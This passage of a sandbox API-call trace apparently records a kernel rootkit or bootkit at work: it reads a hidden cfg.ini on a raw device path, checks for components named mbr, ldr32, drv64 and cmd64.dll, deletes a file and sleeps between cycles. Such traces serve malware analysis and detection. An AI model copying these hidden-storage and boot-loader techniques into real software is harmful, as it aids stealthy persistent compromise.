FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.465] KeLeaveCriticalRegion () [0127.465] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.465] KeEnterCriticalRegion () [0127.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.465] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.465] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfbe80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.465] KeLeaveCriticalRegion () [0127.465] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.465] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.465] KeEnterCriticalRegion () [0127.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.465] ExFreePoolWithTag (P=0xfffffa80037e1650, Tag=0x0) [0127.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.465] KeLeaveCriticalRegion () [0127.465] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.465] ReleaseMutex (hMutex=0xf0) returned 1 [0127.465] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.465] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.465] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.465] KeEnterCriticalRegion () [0127.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.466] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.466] IdePortDispatch () returned 0x103 [0127.466] KeWaitForMutexObject () returned 0x0 [0127.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.466] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.466] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.466] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.466] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.466] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7280 [0127.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.466] KeLeaveCriticalRegion () [0127.466] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.466] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.466] KeEnterCriticalRegion () [0127.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.466] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.466] KeLeaveCriticalRegion () [0127.466] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.466] KeEnterCriticalRegion () [0127.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.466] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.466] IdePortDispatch () returned 0x103 [0127.467] KeWaitForMutexObject () returned 0x0 [0127.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.467] KeLeaveCriticalRegion () [0127.467] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.467] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.467] KeEnterCriticalRegion () [0127.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.467] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c8000 [0127.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.467] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.467] IdePortDispatch () returned 0x103 [0127.467] KeWaitForMutexObject () returned 0x0 [0127.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.468] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.468] IdePortDispatch () returned 0x103 [0127.468] KeWaitForMutexObject () returned 0x0 [0127.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.468] KeLeaveCriticalRegion () [0127.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.469] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.469] KeEnterCriticalRegion () [0127.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.469] KeLeaveCriticalRegion () [0127.469] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.469] KeEnterCriticalRegion () [0127.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.469] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.469] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.469] KeLeaveCriticalRegion () [0127.469] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.469] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.469] KeEnterCriticalRegion () [0127.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.469] ExFreePoolWithTag (P=0xfffffa800c4f7280, Tag=0x0) [0127.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.469] KeLeaveCriticalRegion () [0127.469] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.469] ReleaseMutex (hMutex=0xf0) returned 1 [0127.469] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.469] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.469] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.469] KeEnterCriticalRegion () [0127.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.469] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.469] IdePortDispatch () returned 0x103 [0127.470] KeWaitForMutexObject () returned 0x0 [0127.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.470] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.470] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.470] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.470] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.470] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1bf0 [0127.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.470] KeLeaveCriticalRegion () [0127.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.470] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.470] KeEnterCriticalRegion () [0127.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.470] KeLeaveCriticalRegion () [0127.470] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.470] KeEnterCriticalRegion () [0127.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.470] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.470] IdePortDispatch () returned 0x103 [0127.470] KeWaitForMutexObject () returned 0x0 [0127.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.471] KeLeaveCriticalRegion () [0127.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.471] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.471] KeEnterCriticalRegion () [0127.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c9000 [0127.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.471] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.471] IdePortDispatch () returned 0x103 [0127.471] KeWaitForMutexObject () returned 0x0 [0127.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.471] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.471] IdePortDispatch () returned 0x103 [0127.472] KeWaitForMutexObject () returned 0x0 [0127.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.472] KeLeaveCriticalRegion () [0127.472] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.472] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.472] KeEnterCriticalRegion () [0127.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.472] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.472] KeLeaveCriticalRegion () [0127.473] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.473] KeEnterCriticalRegion () [0127.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.473] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.473] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.473] KeLeaveCriticalRegion () [0127.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.473] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.473] KeEnterCriticalRegion () [0127.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.473] ExFreePoolWithTag (P=0xfffffa80037e1bf0, Tag=0x0) [0127.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.473] KeLeaveCriticalRegion () [0127.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.473] ReleaseMutex (hMutex=0xf0) returned 1 [0127.473] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.473] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.473] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.473] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.473] KeEnterCriticalRegion () [0127.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.473] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.473] IdePortDispatch () returned 0x103 [0127.474] KeWaitForMutexObject () returned 0x0 [0127.474] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.474] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.474] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.474] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.474] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.474] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.474] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.474] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.474] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.474] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.474] KeLeaveCriticalRegion () [0127.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.474] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.474] KeEnterCriticalRegion () [0127.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.474] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.474] IdePortDispatch () returned 0x103 [0127.474] KeWaitForMutexObject () returned 0x0 [0127.475] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.475] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.475] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.475] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.475] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.475] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.475] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.475] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.475] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.475] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.475] KeLeaveCriticalRegion () [0127.475] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.475] ReleaseMutex (hMutex=0x100) returned 1 [0127.475] Sleep (dwMilliseconds=0x2bf20) [0127.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f2e7c50, dwHighDateTime=0x1d24fa4)) [0127.484] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.485] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.485] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.485] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.485] KeEnterCriticalRegion () [0127.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.485] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.485] IdePortDispatch () returned 0x103 [0127.485] KeWaitForMutexObject () returned 0x0 [0127.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.485] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.485] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.485] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.485] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.485] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.485] KeLeaveCriticalRegion () [0127.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.485] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.485] KeEnterCriticalRegion () [0127.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.486] KeLeaveCriticalRegion () [0127.486] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.486] KeEnterCriticalRegion () [0127.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 